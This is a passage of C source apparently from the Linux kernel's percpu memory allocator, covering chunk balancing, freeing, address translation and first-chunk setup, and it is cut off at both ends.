* Allocate zero-filled percpu area of @size bytes aligned at @align
* from reserved percpu area if arch has set it up; otherwise,
* allocation is served from the same dynamic area. Might sleep.
* Might trigger writeouts.
*
* CONTEXT:
* Does GFP_KERNEL allocation.
*
* RETURNS:
* Percpu pointer to the allocated area on success, NULL on failure.
*/
void __percpu *__alloc_reserved_percpu(size_t size, size_t align)
{
return pcpu_alloc(size, align, true, GFP_KERNEL);
}
/**
* __pcpu_balance_workfn - manage the amount of free chunks and populated pages
* @type: chunk type
*
* Reclaim all fully free chunks except for the first one. This is also
* responsible for maintaining the pool of empty populated pages. However,
* it is possible that this is called when physical memory is scarce causing
* OOM killer to be triggered. We should avoid doing so until an actual
* allocation causes the failure as it is possible that requests can be
* serviced from already backed regions.
*/
static void __pcpu_balance_workfn(enum pcpu_chunk_type type)
{
/* gfp flags passed to underlying allocators */
const gfp_t gfp = GFP_KERNEL | __GFP_NORETRY | __GFP_NOWARN;
LIST_HEAD(to_free);
struct list_head *pcpu_slot = pcpu_chunk_list(type);
struct list_head *free_head = &pcpu_slot[pcpu_nr_slots - 1];
struct pcpu_chunk *chunk, *next;
int slot, nr_to_pop, ret;
/*
* There's no reason to keep around multiple unused chunks and VM
* areas can be scarce. Destroy all free chunks except for one.
*/
mutex_lock(&pcpu_alloc_mutex);
spin_lock_irq(&pcpu_lock);
list_for_each_entry_safe(chunk, next, free_head, list) {
WARN_ON(chunk->immutable);
/* spare the first one */
if (chunk == list_first_entry(free_head, struct pcpu_chunk, list))
continue;
list_move(&chunk->list, &to_free);
}
spin_unlock_irq(&pcpu_lock);
list_for_each_entry_safe(chunk, next, &to_free, list) {
unsigned int rs, re;
bitmap_for_each_set_region(chunk->populated, rs, re, 0,
chunk->nr_pages) {
pcpu_depopulate_chunk(chunk, rs, re);
spin_lock_irq(&pcpu_lock);
pcpu_chunk_depopulated(chunk, rs, re);
spin_unlock_irq(&pcpu_lock);
}
pcpu_destroy_chunk(chunk);
cond_resched();
}
/*
* Ensure there are certain number of free populated pages for
* atomic allocs. Fill up from the most packed so that atomic
* allocs don't increase fragmentation. If atomic allocation
* failed previously, always populate the maximum amount. This
* should prevent atomic allocs larger than PAGE_SIZE from keeping
* failing indefinitely; however, large atomic allocs are not
* something we support properly and can be highly unreliable and
* inefficient.
*/
retry_pop:
if (pcpu_atomic_alloc_failed) {
nr_to_pop = PCPU_EMPTY_POP_PAGES_HIGH;
/* best effort anyway, don't worry about synchronization */
pcpu_atomic_alloc_failed = false;
} else {
nr_to_pop = clamp(PCPU_EMPTY_POP_PAGES_HIGH -
pcpu_nr_empty_pop_pages,
0, PCPU_EMPTY_POP_PAGES_HIGH);
}
for (slot = pcpu_size_to_slot(PAGE_SIZE); slot < pcpu_nr_slots; slot++) {
unsigned int nr_unpop = 0, rs, re;
if (!nr_to_pop)
break;
spin_lock_irq(&pcpu_lock);
list_for_each_entry(chunk, &pcpu_slot[slot], list) {
nr_unpop = chunk->nr_pages - chunk->nr_populated;
if (nr_unpop)
break;
}
spin_unlock_irq(&pcpu_lock);
if (!nr_unpop)
continue;
/* @chunk can't go away while pcpu_alloc_mutex is held */
bitmap_for_each_clear_region(chunk->populated, rs, re, 0,
chunk->nr_pages) {
int nr = min_t(int, re - rs, nr_to_pop);
ret = pcpu_populate_chunk(chunk, rs, rs + nr, gfp);
if (!ret) {
nr_to_pop -= nr;
spin_lock_irq(&pcpu_lock);
pcpu_chunk_populated(chunk, rs, rs + nr);
spin_unlock_irq(&pcpu_lock);
} else {
nr_to_pop = 0;
}
if (!nr_to_pop)
break;
}
}
if (nr_to_pop) {
/* ran out of chunks to populate, create a new one and retry */
chunk = pcpu_create_chunk(type, gfp);
if (chunk) {
spin_lock_irq(&pcpu_lock);
pcpu_chunk_relocate(chunk, -1);
spin_unlock_irq(&pcpu_lock);
goto retry_pop;
}
}
mutex_unlock(&pcpu_alloc_mutex);
}
/**
* pcpu_balance_workfn - manage the amount of free chunks and populated pages
* @work: unused
*
* Call __pcpu_balance_workfn() for each chunk type.
*/
static void pcpu_balance_workfn(struct work_struct *work)
{
enum pcpu_chunk_type type;
for (type = 0; type < PCPU_NR_CHUNK_TYPES; type++)
__pcpu_balance_workfn(type);
}
/**
* free_percpu - free percpu area
* @ptr: pointer to area to free
*
* Free percpu area @ptr.
*
* CONTEXT:
* Can be called from atomic context.
*/
void free_percpu(void __percpu *ptr)
{
void *addr;
struct pcpu_chunk *chunk;
unsigned long flags;
int size, off;
bool need_balance = false;
struct list_head *pcpu_slot;
if (!ptr)
return;
kmemleak_free_percpu(ptr);
addr = __pcpu_ptr_to_addr(ptr);
spin_lock_irqsave(&pcpu_lock, flags);
chunk = pcpu_chunk_addr_search(addr);
off = addr - chunk->base_addr;
size = pcpu_free_area(chunk, off);
pcpu_slot = pcpu_chunk_list(pcpu_chunk_type(chunk));
pcpu_memcg_free_hook(chunk, off, size);
/* if there are more than one fully free chunks, wake up grim reaper */
if (chunk->free_bytes == pcpu_unit_size) {
struct pcpu_chunk *pos;
list_for_each_entry(pos, &pcpu_slot[pcpu_nr_slots - 1], list)
if (pos != chunk) {
need_balance = true;
break;
}
}
trace_percpu_free_percpu(chunk->base_addr, off, ptr);
spin_unlock_irqrestore(&pcpu_lock, flags);
if (need_balance)
pcpu_schedule_balance_work();
}
EXPORT_SYMBOL_GPL(free_percpu);
bool __is_kernel_percpu_address(unsigned long addr, unsigned long *can_addr)
{
#ifdef CONFIG_SMP
const size_t static_size = __per_cpu_end - __per_cpu_start;
void __percpu *base = __addr_to_pcpu_ptr(pcpu_base_addr);
unsigned int cpu;
for_each_possible_cpu(cpu) {
void *start = per_cpu_ptr(base, cpu);
void *va = (void *)addr;
if (va >= start && va < start + static_size) {
if (can_addr) {
*can_addr = (unsigned long) (va - start);
*can_addr += (unsigned long)
per_cpu_ptr(base, get_boot_cpu_id());
}
return true;
}
}
#endif
/* on UP, can't distinguish from other static vars, always false */
return false;
}
/**
* is_kernel_percpu_address - test whether address is from static percpu area
* @addr: address to test
*
* Test whether @addr belongs to in-kernel static percpu area. Module
* static percpu areas are not considered. For those, use
* is_module_percpu_address().
*
* RETURNS:
* %true if @addr is from in-kernel static percpu area, %false otherwise.
*/
bool is_kernel_percpu_address(unsigned long addr)
{
return __is_kernel_percpu_address(addr, NULL);
}
/**
* per_cpu_ptr_to_phys - convert translated percpu address to physical address
* @addr: the address to be converted to physical address
*
* Given @addr which is dereferenceable address obtained via one of
* percpu access macros, this function translates it into its physical
* address. The caller is responsible for ensuring @addr stays valid
* until this function finishes.
*
* percpu allocator has special setup for the first chunk, which currently
* supports either embedding in linear address space or vmalloc mapping,
* and, from the second one, the backing allocator (currently either vm or
* km) provides translation.
*
* The addr can be translated simply without checking if it falls into the
* first chunk. But the current code reflects better how percpu allocator
* actually works, and the verification can discover both bugs in percpu
* allocator itself and per_cpu_ptr_to_phys() callers. So we keep current
* code.
*
* RETURNS:
* The physical address for @addr.
*/
phys_addr_t per_cpu_ptr_to_phys(void *addr)
{
void __percpu *base = __addr_to_pcpu_ptr(pcpu_base_addr);
bool in_first_chunk = false;
unsigned long first_low, first_high;
unsigned int cpu;
/*
* The following test on unit_low/high isn't strictly
* necessary but will speed up lookups of addresses which
* aren't in the first chunk.
*
* The address check is against full chunk sizes. pcpu_base_addr
* points to the beginning of the first chunk including the
* static region. Assumes good intent as the first chunk may
* not be full (ie. < pcpu_unit_pages in size).
*/
first_low = (unsigned long)pcpu_base_addr +
pcpu_unit_page_offset(pcpu_low_unit_cpu, 0);
first_high = (unsigned long)pcpu_base_addr +
pcpu_unit_page_offset(pcpu_high_unit_cpu, pcpu_unit_pages);
if ((unsigned long)addr >= first_low &&
(unsigned long)addr < first_high) {
for_each_possible_cpu(cpu) {
void *start = per_cpu_ptr(base, cpu);
if (addr >= start && addr < start + pcpu_unit_size) {
in_first_chunk = true;
break;
}
}
}
if (in_first_chunk) {
if (!is_vmalloc_addr(addr))
return __pa(addr);
else
return page_to_phys(vmalloc_to_page(addr)) +
offset_in_page(addr);
} else
return page_to_phys(pcpu_addr_to_page(addr)) +
offset_in_page(addr);
}
/**
* pcpu_alloc_alloc_info - allocate percpu allocation info
* @nr_groups: the number of groups
* @nr_units: the number of units
*
* Allocate ai which is large enough for @nr_groups groups containing
* @nr_units units. The returned ai's groups[0].cpu_map points to the
* cpu_map array which is long enough for @nr_units and filled with
* NR_CPUS. It's the caller's responsibility to initialize cpu_map
* pointer of other groups.
*
* RETURNS:
* Pointer to the allocated pcpu_alloc_info on success, NULL on
* failure.
*/
struct pcpu_alloc_info * __init pcpu_alloc_alloc_info(int nr_groups,
int nr_units)
{
struct pcpu_alloc_info *ai;
size_t base_size, ai_size;
void *ptr;
int unit;
base_size = ALIGN(struct_size(ai, groups, nr_groups),
__alignof__(ai->groups[0].cpu_map[0]));
ai_size = base_size + nr_units * sizeof(ai->groups[0].cpu_map[0]);
ptr = memblock_alloc(PFN_ALIGN(ai_size), PAGE_SIZE);
if (!ptr)
return NULL;
ai = ptr;
ptr += base_size;
ai->groups[0].cpu_map = ptr;
for (unit = 0; unit < nr_units; unit++)
ai->groups[0].cpu_map[unit] = NR_CPUS;
ai->nr_groups = nr_groups;
ai->__ai_size = PFN_ALIGN(ai_size);
return ai;
}
/**
* pcpu_free_alloc_info - free percpu allocation info
* @ai: pcpu_alloc_info to free
*
* Free @ai which was allocated by pcpu_alloc_alloc_info().
*/
void __init pcpu_free_alloc_info(struct pcpu_alloc_info *ai)
{
memblock_free_early(__pa(ai), ai->__ai_size);
}
/**
* pcpu_dump_alloc_info - print out information about pcpu_alloc_info
* @lvl: loglevel
* @ai: allocation info to dump
*
* Print out information about @ai using loglevel @lvl.
*/
static void pcpu_dump_alloc_info(const char *lvl,
const struct pcpu_alloc_info *ai)
{
int group_width = 1, cpu_width = 1, width;
char empty_str[] = "--------";
int alloc = 0, alloc_end = 0;
int group, v;
int upa, apl; /* units per alloc, allocs per line */
v = ai->nr_groups;
while (v /= 10)
group_width++;
v = num_possible_cpus();
while (v /= 10)
cpu_width++;
empty_str[min_t(int, cpu_width, sizeof(empty_str) - 1)] = '\0';
upa = ai->alloc_size / ai->unit_size;
width = upa * (cpu_width + 1) + group_width + 3;
apl = rounddown_pow_of_two(max(60 / width, 1));
printk("%spcpu-alloc: s%zu r%zu d%zu u%zu alloc=%zu*%zu",
lvl, ai->static_size, ai->reserved_size, ai->dyn_size,
ai->unit_size, ai->alloc_size / ai->atom_size, ai->atom_size);
for (group = 0; group < ai->nr_groups; group++) {
const struct pcpu_group_info *gi = &ai->groups[group];
int unit = 0, unit_end = 0;
BUG_ON(gi->nr_units % upa);
for (alloc_end += gi->nr_units / upa;
alloc < alloc_end; alloc++) {
if (!(alloc % apl)) {
pr_cont("\n");
printk("%spcpu-alloc: ", lvl);
}
pr_cont("[%0*d] ", group_width, group);
for (unit_end += upa; unit < unit_end; unit++)
if (gi->cpu_map[unit] != NR_CPUS)
pr_cont("%0*d ",
cpu_width, gi->cpu_map[unit]);
else
pr_cont("%s ", empty_str);
}
}
pr_cont("\n");
}
/**
* pcpu_setup_first_chunk - initialize the first percpu chunk
* @ai: pcpu_alloc_info describing how to percpu area is shaped
* @base_addr: mapped address
*
* Initialize the first percpu chunk which contains the kernel static
* percpu area. This function is to be called from arch percpu area
* setup path.
*
* @ai contains all information necessary to initialize the first
* chunk and prime the dynamic percpu allocator.
*
* @ai->static_size is the size of static percpu area.
*
* @ai->reserved_size, if non-zero, specifies the amount of bytes to
* reserve after the static area in the first chunk. This reserves
* the first chunk such that it's available only through reserved
* percpu allocation. This is primarily used to serve module percpu
* static areas on architectures where the addressing model has
* limited offset range for symbol relocations to guarantee module
* percpu symbols fall inside the relocatable range.
*
* @ai->dyn_size determines the number of bytes available for dynamic
* allocation in the first chunk. The area between @ai->static_size +
* @ai->reserved_size + @ai->dyn_size and @ai->unit_size is unused.
*
* @ai->unit_size specifies unit size and must be aligned to PAGE_SIZE
* and equal to or larger than @ai->static_size + @ai->reserved_size +
* @ai->dyn_size.
*
* @ai->atom_size is the allocation atom size and used as alignment
* for vm areas.
*
* @ai->alloc_size is the allocation size and always multiple of
* @ai->atom_size. This is larger than @ai->atom_size if
* @ai->unit_size is larger than @ai->atom_size.
*
* @ai->nr_groups and @ai->groups describe virtual memory layout of
* percpu areas. Units which should be colocated are put into the
* same group. Dynamic VM areas will be allocated according to these
* groupings. If @ai->nr_groups is zero, a single group containing
* all units is assumed.
*
* The caller should have mapped the first chunk at @base_addr and
* copied static data to each unit.
*
* The first chunk will always contain a static and a dynamic region.
* However, the static region is not managed by any chunk. If the first
* chunk also contains a reserved region, it is served by two chunks -
* one for the reserved region and one for the dynamic region. They
* share the same vm, but use offset regions in the area allocation map.
* The chunk serving the dynamic region is circulated in the chunk slots
* and available for dynamic allocation like any other chunk.
*/
void __init pcpu_setup_first_chunk(const struct pcpu_alloc_info *ai,
void *base_addr)
{
size_t size_sum = ai->static_size + ai->reserved_size + ai->dyn_size;
size_t static_size, dyn_size;
struct pcpu_chunk *chunk;
unsigned long *group_offsets;
size_t *group_sizes;
unsigned long *unit_off;
unsigned int cpu;
int *unit_map;
int group, unit, i;
int map_size;
unsigned long tmp_addr;
size_t alloc_size;
enum pcpu_chunk_type type;
#define PCPU_SETUP_BUG_ON(cond) do { \
if (unlikely(cond)) { \
pr_emerg("failed to initialize, %s\n", #cond); \
pr_emerg("cpu_possible_mask=%*pb\n", \
cpumask_pr_args(cpu_possible_mask)); \
pcpu_dump_alloc_info(KERN_EMERG, ai); \
BUG(); \
} \
} while (0)
/* sanity checks */
PCPU_SETUP_BUG_ON(ai->nr_groups <= 0);
#ifdef CONFIG_SMP
PCPU_SETUP_BUG_ON(!ai->static_size);
PCPU_SETUP_BUG_ON(offset_in_page(__per_cpu_start));
#endif
PCPU_SETUP_BUG_ON(!base_addr);
PCPU_SETUP_BUG_ON(offset_in_page(base_addr));
PCPU_SETUP_BUG_ON(ai->unit_size < size_sum);
PCPU_SETUP_BUG_ON(offset_in_page(ai->unit_size));
PCPU_SETUP_BUG_ON(ai->unit_size < PCPU_MIN_UNIT_SIZE);
PCPU_SETUP_BUG_ON(!IS_ALIGNED(ai->unit_size, PCPU_BITMAP_BLOCK_SIZE));
PCPU_SETUP_BUG_ON(ai->dyn_size < PERCPU_DYNAMIC_EARLY_SIZE);
PCPU_SETUP_BUG_ON(!ai->dyn_size);
PCPU_SETUP_BUG_ON(!IS_ALIGNED(ai->reserved_size, PCPU_MIN_ALLOC_SIZE));
PCPU_SETUP_BUG_ON(!(IS_ALIGNED(PCPU_BITMAP_BLOCK_SIZE, PAGE_SIZE) ||
IS_ALIGNED(PAGE_SIZE, PCPU_BITMAP_BLOCK_SIZE)));
PCPU_SETUP_BUG_ON(pcpu_verify_alloc_info(ai) < 0);
/* process group information and build config tables accordingly */
alloc_size = ai->nr_groups * sizeof(group_offsets[0]);
group_offsets = memblock_alloc(alloc_size, SMP_CACHE_BYTES);
if (!group_offsets)
panic("%s: Failed to allocate %zu bytes\n", __func__,
alloc_size);
alloc_size = ai->nr_groups * sizeof(group_sizes[0]);
group_sizes = memblock_alloc(alloc_size, SMP_CACHE_BYTES);
if (!group_sizes)
panic("%s: Failed to allocate %zu bytes\n", __func__,
alloc_size);
alloc_size = nr_cpu_ids * sizeof(unit_map[0]);
unit_map = memblock_alloc(alloc_size, SMP_CACHE_BYTES);
if (!unit_map)
panic("%s: Failed to allocate %zu bytes\n", __func__,
alloc_size);
alloc_size = nr_cpu_ids * sizeof(unit_off[0]);
unit_off = memblock_alloc(alloc_size, SMP_CACHE_BYTES);
if (!unit_off)
panic("%s: Failed to allocate %zu bytes\n", __func__,
alloc_size);
for (cpu = 0; cpu < nr_cpu_ids; cpu++)
unit_map[cpu] = UINT_MAX;
pcpu_low_unit_cpu = NR_CPUS;
pcpu_high_unit_cpu = NR_CPUS;
for (group = 0, unit = 0; group < ai->nr_groups; group++, unit += i) {
const struct pcpu_group_info *gi = &ai->groups[group];
group_offsets[group] = gi->base_offset;
group_sizes[group] = gi->nr_units * ai->unit_size;
for (i = 0; i < gi->nr_units; i++) {
cpu = gi->cpu_map[i];
if (cpu == NR_CPUS)
continue;
PCPU_SETUP_BUG_ON(cpu >= nr_cpu_ids);
PCPU_SETUP_BUG_ON(!cpu_possible(cpu));
PCPU_SETUP_BUG_ON(unit_map[cpu] != UINT_MAX);
unit_map[cpu] = unit + i;
unit_off[cpu] = gi->base_offset + i * ai->unit_size;
/* determine low/high unit_cpu */
if (pcpu_low_unit_cpu == NR_CPUS ||
unit_off[cpu] < unit_off[pcpu_low_unit_cpu])
pcpu_low_unit_cpu = cpu;
if (pcpu_high_unit_cpu == NR_CPUS ||
unit_off[cpu] > unit_off[pcpu_high_unit_cpu])
pcpu_high_unit_cpu = cpu;
}
}
pcpu_nr_units = unit;
for_each_possible_cpu(cpu)
PCPU_SETUP_BUG_ON(unit_map[cpu] == UINT_MAX);
/* we're done parsing the input, undefine BUG macro and dump config */
#undef PCPU_SETUP_BUG_ON
pcpu_dump_alloc_info(KERN_DEBUG, ai);
pcpu_nr_groups = ai->nr_groups;
pcpu_group_offsets = group_offsets;
pcpu_group_sizes = group_sizes;
pcpu_unit_map = unit_map;
pcpu_unit_offsets = unit_off;
/* determine basic parameters */
pcpu_unit_pages = ai->unit_size >> PAGE_SHIFT;
pcpu_unit_size = pcpu_unit_pages << PAGE_SHIFT;
pcpu_atom_size = ai->atom_size;
pcpu_chunk_struct_size = sizeof(struct pcpu_chunk) +
BITS_TO_LONGS(pcpu_unit_pages) * sizeof(unsigned long);
pcpu_stats_save_ai(ai);
/*
* Allocate chunk slots. The additional last slot is for
* empty chunks.
*/
pcpu_nr_slots = __pcpu_size_to_slot(pcpu_unit_size) + 2;
pcpu_chunk_lists = memblock_alloc(pcpu_nr_slots *
sizeof(pcpu_chunk_lists[0]) *
PCPU_NR_CHUNK_TYPES,
SMP_CACHE_BYTES);
if (!pcpu_chunk_lists)
panic("%s: Failed to allocate %zu bytes\n", __func__,
pcpu_nr_slots * sizeof(pcpu_chunk_lists[0]) *
PCPU_NR_CHUNK_TYPES);
for (type = 0; type < PCPU_NR_CHUNK_TYPES; type++)
for (i = 0; i < pcpu_nr_slots; i++)
INIT_LIST_HEAD(&pcpu_chunk_list(type)[i]);
/*
* The end of the static region needs to be aligned with the
* minimum allocation size as this offsets the reserved and
* dynamic region. The first chunk ends page aligned by
* expanding the dynamic region, therefore the dynamic region
* can be shrunk to compensate while still staying above the
* configured sizes.
*/
static_size = ALIGN(ai->static_size, PCPU_MIN_ALLOC_SIZE);
dyn_size = ai->dyn_size - (static_size - ai->static_size);
/*
* Initialize first chunk.
* If the reserved_size is non-zero, this initializes the reserved
* chunk. If the reserved_size is zero, the reserved chunk is NULL
* and the dynamic region is initialized here. The first chunk,
* pcpu_first_chunk, will always point to the chunk that serves
* the dynamic region.
*/
tmp_addr = (unsigned long)base_addr + static_size;
map_size = ai->reserved_size ?: dyn_size;
chunk = pcpu_alloc_first_chunk(tmp_addr, map_size);
/* init dynamic chunk if necessary */
if (ai->reserved_size) {
pcpu_reserved_chunk = chunk;
tmp_addr = (unsigned long)base_addr + static_size +
ai->reserved_size;
map_size = dyn_size;
chunk = pcpu_alloc_first_chunk(tmp_addr, map_size);
}
/* link the first chunk in */
pcpu_first_chunk = chunk;
pcpu_nr_empty_pop_pages = pcpu_first_chunk->nr_empty_pop_pages;
pcpu_chunk_relocate(pcpu_first_chunk, -1);
/* include all regions of the first chunk */
pcpu_nr_populated += PFN_DOWN(size_sum);
pcpu_stats_chunk_alloc();
trace_percpu_create_chunk(base_addr);
/* we're done */
pcpu_base_addr = base_addr;
}
#ifdef CONFIG_SMP
const char * const pcpu_fc_names[PCPU_FC_NR] __initconst = {
[PCPU_FC_AUTO] = "auto",
[PCPU_FC_EMBED] = "embed",
[PCPU_FC_PAGE] = "page",
};
enum pcpu_fc pcpu_chosen_fc __initdata = PCPU_FC_AUTO;
static int __init percpu_alloc_setup(char *str)
{
if (!str)
return -EINVAL;
if (0)
/* nada */;
#ifdef CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK
else if (!strcmp(str, "embed"))
pcpu_chosen_fc = PCPU_FC_EMBED;
#endif
#ifdef CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK
else if (!strcmp(str, "page"))
pcpu_chosen_fc = PCPU_FC_PAGE;
#endif
else
pr_warn("unknown allocator %s specified\n", str);
return 0;
}
early_param("percpu_alloc", percpu_alloc_setup);
/*
* pcpu_embed_first_chunk() is used by the generic percpu setup.
* Build it if needed by the arch config or the generic setup is going
* to be used.
*/
#if defined(CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK) || \
!defined(CONFIG_HAVE_SETUP_PER_CPU_AREA)
#define BUILD_EMBED_FIRST_CHUNK
#endif
/* build pcpu_page_first_chunk() iff needed by the arch config */
#if defined(CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK)
#define BUILD_PAGE_FIRST_CHUNK
#endif
/* pcpu_build_alloc_info() is used by both embed and page first chunk */
#if defined(BUILD_EMBED_FIRST_CHUNK) || defined(BUILD_PAGE_FIRST_CHUNK)
/**
* pcpu_build_alloc_info - build alloc_info considering distances between CPUs
* @reserved_size: the size of reserved percpu area in bytes
* @dyn_size: minimum free size for dynamic allocation in bytes
* @atom_size: allocation atom size
* @cpu_distance_fn: callback to determine distance between cpus, optional
*
* This function determines grouping of units, their mappings to cpus
* and other parameters considering needed percpu size, allocation
* atom size and distances between CPUs.
*
* Groups are always multiples of atom size and CPUs which are of
* LOCAL_DISTANCE both ways are grouped together and share space for
* units in the same group. The returned configuration is guaranteed
* to have CPUs on different nodes on different groups and >=75% usage
* of allocated virtual address space.
*
* RETURNS:
* On success, pointer to the new allocation_info is returned. On
* failure, ERR_PTR value is returned.
*/
static struct pcpu_alloc_info * __init pcpu_build_alloc_info(
size_t reserved_size, size_t dyn_size,
size_t atom_size,
pcpu_fc_cpu_distance_fn_t cpu_distance_fn)
{
static int group_map[NR_CPUS] __initdata;
static int group_cnt[NR_CPUS] __initdata;
const size_t static_size = __per_cpu_end - __per_cpu_start;
int nr_groups = 1, nr_units = 0;
size_t size_sum, min_unit_size, alloc_size;
int upa, max_upa, best_upa; /* units_per_alloc */
int last_allocs, group, unit;
unsigned int cpu, tcpu;
struct pcpu_alloc_info *ai;
unsigned int *cpu_map;
/* this function may be called multiple times */
memset(group_map, 0, sizeof(group_map));
memset(group_cnt, 0, sizeof(group_cnt));
/* calculate size_sum and ensure dyn_size is enough for early alloc */
size_sum = PFN_ALIGN(static_size + reserved_size +
max_t(size_t, dyn_size, PERCPU_DYNAMIC_EARLY_SIZE));
dyn_size = size_sum - static_size - reserved_size;
/*
* Determine min_unit_size, alloc_size and max_upa such that
* alloc_size is multiple of atom_size and is the smallest
* which can accommodate 4k aligned segments which are equal to
* or larger than min_unit_size.
*/
min_unit_size = max_t(size_t, size_sum, PCPU_MIN_UNIT_SIZE);
/* determine the maximum # of units that can fit in an allocation */
alloc_size = roundup(min_unit_size, atom_size);
upa = alloc_size / min_unit_size;
while (alloc_size % upa || (offset_in_page(alloc_size / upa)))
upa--;
max_upa = upa;
/* group cpus according to their proximity */
for_each_possible_cpu(cpu) {
group = 0;
next_group:
for_each_possible_cpu(tcpu) {
if (cpu == tcpu)
break;
if (group_map[tcpu] == group && cpu_distance_fn &&
(cpu_distance_fn(cpu, tcpu) > LOCAL_DISTANCE ||
cpu_distance_fn(tcpu, cpu) > LOCAL_DISTANCE)) {
group++;
nr_groups = max(nr_groups, group + 1);
goto next_group;
}
}
group_map[cpu] = group;
group_cnt[group]++;
}
/*
* Wasted space is caused by a ratio imbalance of upa to group_cnt.
* Expand the unit_size until we use >= 75% of the units allocated.
* Related to atom_size, which could be much larger than the unit_size.
*/
last_allocs = INT_MAX;
for (upa = max_upa; upa; upa--) {
int allocs = 0, wasted = 0;
if (alloc_size % upa || (offset_in_page(alloc_size / upa)))
continue;
for (group = 0; group < nr_groups; group++) {
int this_allocs = DIV_ROUND_UP(group_cnt[group], upa);
allocs += this_allocs;
wasted += this_allocs * upa - group_cnt[group];
}
/*
* Don't accept if wastage is over 1/3. The
* greater-than comparison ensures upa==1 always
* passes the following check.
*/
if (wasted > num_possible_cpus() / 3)
continue;
/* and then don't consume more memory */
if (allocs > last_allocs)
break;
last_allocs = allocs;
best_upa = upa;
}
upa = best_upa;
/* allocate and fill alloc_info */
for (group = 0; group < nr_groups; group++)
nr_units += roundup(group_cnt[group], upa);
ai = pcpu_alloc_alloc_info(nr_groups, nr_units);
if (!ai)
return ERR_PTR(-ENOMEM);
cpu_map = ai->groups[0].cpu_map;
for (group = 0; group < nr_groups; group++) {
ai->groups[group].cpu_map = cpu_map;
cpu_map += roundup(group_cnt[group], upa);
}
ai->static_size = static_size;
ai->reserved_size = reserved_size;
ai->dyn_size = dyn_size;
ai->unit_size = alloc_size / upa;
ai->atom_size = atom_size;
ai->alloc_size = alloc_size;
for (group = 0, unit = 0; group < nr_groups; group++) {
struct pcpu_group_info *gi = &ai->groups[group];
/*
* Initialize base_offset as if all groups are located
* back-to-back. The caller should update this to
* reflect actual allocation.
*/
gi->base_offset = unit * ai->unit_size;
for_each_possible_cpu(cpu)
if (group_map[cpu] == group)
gi->cpu_map[gi->nr_units++] = cpu;
gi->nr_units = roundup(gi->nr_units, upa);
unit += gi->nr_units;
}
BUG_ON(unit != nr_units);
return ai;
}
#endif /* BUILD_EMBED_FIRST_CHUNK || BUILD_PAGE_FIRST_CHUNK */
#if defined(BUILD_EMBED_FIRST_CHUNK)
/**
* pcpu_embed_first_chunk - embed the first percpu chunk into bootmem
* @reserved_size: the size of reserved percpu area in bytes
* @dyn_size: minimum free size for dynamic allocation in bytes
* @atom_size: allocation atom size
* @cpu_distance_fn: callback to determine distance between cpus, optional
* @alloc_fn: function to allocate percpu page
* @free_fn: function to free percpu page
*
* This is a helper to ease setting up embedded first percpu chunk and
* can be called where pcpu_setup_first_chunk() is expected.
*
* If this function is used to setup the first chunk, it is allocated
* by calling @alloc_fn and used as-is without being mapped into
* vmalloc area. Allocations are always whole multiples of @atom_size
* aligned to @atom_size.
*
* This enables the first chunk to piggy back on the linear physical
* mapping which often uses larger page size. Please note that this
* can result in very sparse cpu->unit mapping on NUMA machines thus
* requiring large vmalloc address space. Don't use this allocator if
* vmalloc space is not orders of magnitude larger than distances
* between node memory addresses (ie. 32bit NUMA machines).
*
* @dyn_size specifies the minimum dynamic area size.
*
* If the needed size is smaller than the minimum or specified unit
* size, the leftover is returned using @free_fn.
*
* RETURNS:
* 0 on success, -errno on failure.
*/
int __init pcpu_embed_first_chunk(size_t reserved_size, size_t dyn_size,
size_t atom_size,
pcpu_fc_cpu_distance_fn_t cpu_distance_fn,
pcpu_fc_alloc_fn_t alloc_fn,
pcpu_fc_free_fn_t free_fn)
{
void *base = (void *)ULONG_MAX;
void **areas = NULL;
struct pcpu_alloc_info *ai;
size_t size_sum, areas_size;
unsigned long max_distance;
int group, i, highest_group, rc = 0;
ai = pcpu_build_alloc_info(reserved_size, dyn_size, atom_size,
cpu_distance_fn);
if (IS_ERR(ai))
return PTR_ERR(ai);
size_sum = ai->static_size + ai->reserved_size + ai->dyn_size;
areas_size = PFN_ALIGN(ai->nr_groups * sizeof(void *));
areas = memblock_alloc(areas_size, SMP_CACHE_BYTES);
if (!areas) {
rc = -ENOMEM;
goto out_free;
}
/* allocate, copy and determine base address & max_distance */
highest_group = 0;
for (group = 0; group < ai->nr_groups; group++) {
struct pcpu_group_info *gi = &ai->groups[group];
unsigned int cpu = NR_CPUS;
void *ptr;
for (i = 0; i < gi->nr_units && cpu == NR_CPUS; i++)
cpu = gi->cpu_map[i];
BUG_ON(cpu == NR_CPUS);
/* allocate space for the whole group */
ptr = alloc_fn(cpu, gi->nr_units * ai->unit_size, atom_size);
if (!ptr) {
rc = -ENOMEM;
goto out_free_areas;
}
/* kmemleak tracks the percpu allocations separately */
kmemleak_free(ptr);
areas[group] = ptr;
base = min(ptr, base);
if (ptr > areas[highest_group])
highest_group = group;
}
max_distance = areas[highest_group] - base;
max_distance += ai->unit_size * ai->groups[highest_group].nr_units;
/* warn if maximum distance is further than 75% of vmalloc space */
if (max_distance > VMALLOC_TOTAL * 3 / 4) {
pr_warn("max_distance=0x%lx too large for vmalloc space 0x%lx\n",
max_distance, VMALLOC_TOTAL);
#ifdef CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK
/* and fail if we have fallback */
rc = -EINVAL;
goto out_free_areas;
#endif
}
/*
* Copy data and free unused parts. This should happen after all
* allocations are complete; otherwise, we may end up with
* overlapping groups.
*/
for (group = 0; group < ai->nr_groups; group++) {
struct pcpu_group_info *gi = &ai->groups[group];
void *ptr = areas[group];
for (i = 0; i < gi->nr_units; i++, ptr += ai->unit_size) {
if (gi->cpu_map[i] == NR_CPUS) {
/* unused unit, free whole */
free_fn(ptr, ai->unit_size);
continue;
}
/* copy and return the unused part */
memcpy(ptr, __per_cpu_load, ai->static_size);
free_fn(ptr + size_sum, ai->unit_size - size_sum);
}
}
/* base address is now known, determine group base offsets */
for (group = 0; group < ai->nr_groups; group++) {
ai->groups[group].base_offset = areas[group] - base;
}
pr_info("Embedded %zu pages/cpu s%zu r%zu d%zu u%zu\n",
PFN_DOWN(size_sum), ai->static_size, ai->reserved_size,
ai->dyn_size, ai->unit_size);
pcpu_setup_first_chunk(ai, base);
goto out_free;
out_free_areas:
for (group = 0; group < ai->nr_groups; group++)
if (areas[group])
free_fn(areas[group],
ai->groups[group].nr_units * ai->unit_size);
out_free:
pcpu_free_alloc_info(ai);
if (areas)
